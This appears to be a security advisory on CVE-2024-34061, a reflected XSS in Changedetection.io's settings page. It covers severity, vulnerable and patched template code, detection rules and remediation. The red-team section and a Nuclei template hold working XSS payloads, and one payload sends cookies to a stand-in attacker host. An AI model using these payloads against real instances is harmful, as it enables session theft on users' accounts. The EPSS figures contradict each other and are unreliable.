CVE-2024-34061

Executive Summary

CVE-2024-34061 is a reflected Cross-Site Scripting (XSS) vulnerability in Changedetection.io, an open-source web page change detection and monitoring service. The flaw exists in versions prior to 0.45.22, where the notification_urls parameter is not properly sanitized, allowing an attacker to inject arbitrary JavaScript. This vulnerability can be exploited by tricking a user into clicking a crafted link or submitting a malicious POST request, leading to script execution in the context of the victim's session. The CVSS score is 4.3 (Medium), and while the EPSS score is low (0.0%), the availability of a public proof-of-concept (PoC) and a Nuclei template increases the risk of automated exploitation. The vendor has released a patch in version 0.45.22.

Supply Chain & Package Security

Changedetection.io is a Python-based application distributed via GitHub and Docker. The vulnerability is introduced in the application's own code, not in a third-party dependency. However, users should ensure they are using the official Docker images or PyPI packages from trusted sources. The patch is available in the official repository, and users should verify the integrity of the update by checking the release signatures or commit hashes.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a link or submit a form.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact (C): None (N) – No data exfiltration directly.
• Integrity Impact (I): Low (L) – Script execution can modify page content or perform actions on behalf of the user.
• Availability Impact (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction, but the attack surface is broad due to the public availability of exploit code. The impact is limited to integrity, but an attacker could potentially steal session tokens or perform actions within the application's context.

Deep Dive & Mechanics

The vulnerability resides in the /settings endpoint of Changedetection.io. The notification_urls parameter is used to configure notification URLs (e.g., for AppRise). When the application processes this parameter, it reflects the user input back into the HTML response without proper encoding or sanitization. This allows an attacker to inject HTML and JavaScript.

Attack Flow:

1. The attacker crafts a malicious URL or POST request containing a payload in the notification_urls parameter, such as "><img src=x onerror=alert(document.domain)>.
2. The victim is tricked into clicking the link or submitting the form (e.g., via phishing).
3. The application processes the request and reflects the payload in the response.
4. The victim's browser executes the injected script, which can steal cookies, perform actions on behalf of the user, or deface the page.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The fix in version 0.45.22 likely involves proper output encoding or input validation for the notification_urls parameter.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.45.22): The application likely renders the notification_urls value directly into the HTML without escaping. For example, in a Jinja2 template:

<input type="text" name="notification_urls" value="{{ request.form.get('notification_urls', '') }}">

This would allow injection of "> to break out of the attribute.

Patched Code (0.45.22): The fix would use proper escaping, such as:

<input type="text" name="notification_urls" value="{{ request.form.get('notification_urls', '') | e }}">

Or use a library like markupsafe to escape the input. The exact patch can be found in the GitHub commit history.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Changedetection.io version <= 0.45.21 running locally or in a lab.
• A web browser to simulate the victim.

Exploitation Steps:

1. Start a local instance of Changedetection.io (e.g., using Docker):

   docker run -d -p 5000:5000 ghcr.io/dgtlmoon/changedetection.io:0.45.21
   

2. Craft a malicious URL that triggers the XSS:

   http://localhost:5000/settings?notification_urls=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E
   

3. Alternatively, use a POST request with the payload:

   curl -X POST http://localhost:5000/settings \
     -d "csrf_token=TOKEN&notification_urls=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&save_button=Save"
   

4. The victim visits the URL or submits the form, and the script executes.

Advanced Payload: To steal cookies:

"><script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor web server logs for requests to /settings with suspicious notification_urls parameters containing HTML tags or JavaScript.
• Use the provided Nuclei template to scan for the vulnerability.
• Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.

Mitigation:

• Immediately upgrade to version 0.45.22 or later.
• If upgrade is not possible, restrict access to the /settings endpoint to trusted IPs only.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /settings with notification_urls containing %22%3E%3Cimg or similar encoded HTML.
  • Outbound connections to attacker-controlled domains from the Changedetection.io server.
• File IOCs:
  • Modified configuration files containing malicious notification URLs.
• Log IOCs:
  • Web server logs showing 200 responses to /settings with unusual parameters.
  • Application logs showing validation errors for notification_urls.

Detection Engineering

YARA Rule

rule CVE_2024_34061_XSS_Detection {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-34061 in Changedetection.io"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-34061"
    strings:
        $xss_payload1 = /notification_urls=[^&]*%22%3E%3Cimg/i
        $xss_payload2 = /notification_urls=[^&]*<script/i
        $xss_payload3 = /notification_urls=[^&]*onerror/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-34061 XSS Attempt in Changedetection.io
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts via notification_urls parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'notification_urls='
        cs-uri-query|contains|all:
            - '%22%3E%3Cimg'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of special characters in notification URLs (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34061 XSS Attempt in Changedetection.io"; flow:to_server; content:"POST"; http_method; content:"/settings"; http_uri; content:"notification_urls="; http_client_body; pcre:"/notification_urls=[^&]*%22%3E%3Cimg/i"; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-34061

info:
  name: Changedetection.io <=v0.45.21 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Changedetection.io is a free open source web page change detection, website watcher, restock monitor and notification service. In affected versions Input in parameter notification_urls is not processed resulting in javascript execution in the application. A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored, thus allowing the attacker to inject malicious content. This issue has been addressed in version 0.45.22. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Attackers can inject malicious scripts via the notification_urls parameter, potentially compromising user sessions.
  remediation: |
    Update Changedetection.io to version 0.45.22 or later.
  reference:
    - https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-pwgc-w4x9-gw67
    - https://nvd.nist.gov/vuln/detail/CVE-2024-34061
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-34061
    cwe-id: CWE-79
    epss-score: 0.2769
    epss-percentile: 0.96466
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"Change Detection"
  tags: cve,cve2024,changedetection,xss,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        csrf_token={{csrf_token}}&requests-time_between_check-weeks=&requests-time_between_check-days=&requests-time_between_check-hours=3&requests-time_between_check-minutes=&requests-time_between_check-seconds=&requests-jitter_seconds=0&application-filter_failure_notification_threshold_attempts=6&application-password=&application-base_url=&application-notification_urls=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&application-notification_title=ChangeDetection.io+Notification+-+%7B%7Bwatch_url%7D%7D&application-notification_body=%7B%7Bwatch_url%7D%7D+had+a+change.%0D%0A---%0D%0A%7B%7Bdiff%7D%7D%0D%0A---%0D%0A&application-notification_format=Text&application-fetch_backend=html_requests&application-webdriver_delay=&application-ignore_whitespace=y&application-global_subtractive_selectors=&application-global_ignore_text=&application-api_access_token_enabled=y&requests-extra_proxies-0-proxy_name=&requests-extra_proxies-0-proxy_url=&requests-extra_proxies-1-proxy_name=&requests-extra_proxies-1-proxy_url=&requests-extra_proxies-2-proxy_name=&requests-extra_proxies-2-proxy_url=&requests-extra_proxies-3-proxy_name=&requests-extra_proxies-3-proxy_url=&requests-extra_proxies-4-proxy_name=&requests-extra_proxies-4-proxy_url=&save_button=Save

    skip-variables-check: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'is not a valid AppRise URL'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: csrf_token
        group: 1
        regex:
          - 'name="csrf_token" value="([^"]+)"'
        internal: true
# digest: 4a0a0047304502202d7a8bde7f142111bb44070526ec29082076fe16d34ed5ffd6fb749247b3379e022100b4c177f0abde4e3ede2bcea88826c172bd79110c23bd2e56cdbfd49528720531:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Changedetection.io to version 0.45.22 or later. This is the only complete fix.
2. Workarounds: If upgrade is not possible, restrict access to the /settings endpoint using a reverse proxy or firewall rules. Only allow trusted IPs.
3. Input Validation: Implement additional input validation on the notification_urls parameter to reject HTML/JavaScript.

Long-Term Measures:

• Adopt a Content Security Policy (CSP) to mitigate XSS even if a vulnerability exists.
• Conduct regular security audits and dependency checks.
• Use a Web Application Firewall (WAF) with XSS detection rules.
• Educate users about phishing attacks that may exploit this vulnerability.

Patch Details: The fix is included in version 0.45.22, available at:

• GitHub: https://github.com/dgtlmoon/changedetection.io/releases/tag/0.45.22
• Docker: ghcr.io/dgtlmoon/changedetection.io:0.45.22

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 3C24B1DB7CBEDA1B609151C6] */}